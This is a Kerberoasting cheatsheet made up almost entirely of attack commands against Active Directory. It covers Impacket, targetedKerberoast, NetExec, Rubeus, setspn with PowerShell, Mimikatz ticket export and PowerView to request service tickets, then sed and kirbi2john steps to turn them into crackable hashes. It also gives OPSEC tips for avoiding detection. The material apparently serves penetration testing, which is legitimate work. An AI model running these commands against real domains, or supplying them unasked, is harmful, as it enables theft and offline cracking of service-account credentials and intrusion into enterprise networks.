Kerberoasting

Cheatsheet with commands for performing Kerberoasting from the outside and inside.

From Linux:

Requesting hashes with Impacket:

impacket-GetUserSPNs -dc-ip <DC_IP> <domain>/<user>:<pass> -request -outputfile hashes.txt

Supports AES keys (-aesKey), Kerberos auth (-k), and targeted users (-usersfile).

ACL abuse Kerberoasting with targetedKerberoast:

./targetedKerberoast.py -d <domain> -u <user> -p <pass> --dc-ip <DC_IP>

Requesting hashes with NetExec:

nxc ldap <DC_IP> -u <user> -p <pass> --kerberoasting hashes.txt

Fast enumeration and roasting with built-in OPSEC options like AES256 preference.

---

From Windows:

Requesting hashes with Rubeus:

Rubeus.exe kerberoast /user:<target> /outfile:hashes.txt

or full enum:

Rubeus.exe kerberoast /outfile:hashes.txt

Use /aes256 for OpSec, /interval:60s to space requests, and /nowrap to mimic LSASS flags.

Enumerating SPNs with setspn.exe :

setspn.exe -Q */*

Retrieving All Tickets Using setspn.exe (May require Powershell started as Administrator):

setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Extracting Tickets from Memory with Mimikatz:

kerberos::list /export

Getting users with SPNs in target with Powerview:

Import-Module .\PowerView.ps1

Get-DomainUser * -spn | select samaccountname

Using PowerView to Target a Specific User:

Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

Exporting All Tickets to a CSV File with PowerView:

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation

---

Converting:

Convert kirbi file to John format:

python2.7 kirbi2john.py target.kirbi

or:

kirbi2john target.kirbi

Convert to Hashcat format:

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > tgs_hashcat

Converting Kerberos Hash to oneline format in Linux:

cat krb.txt | tr -d '\n' > hash.txt

Converting Kerberos Hash to oneline format in PowerShell:

(Get-Content C:\loot\tgs.txt) -join "" | Set-Content C:\loot\tgs_oneline.txt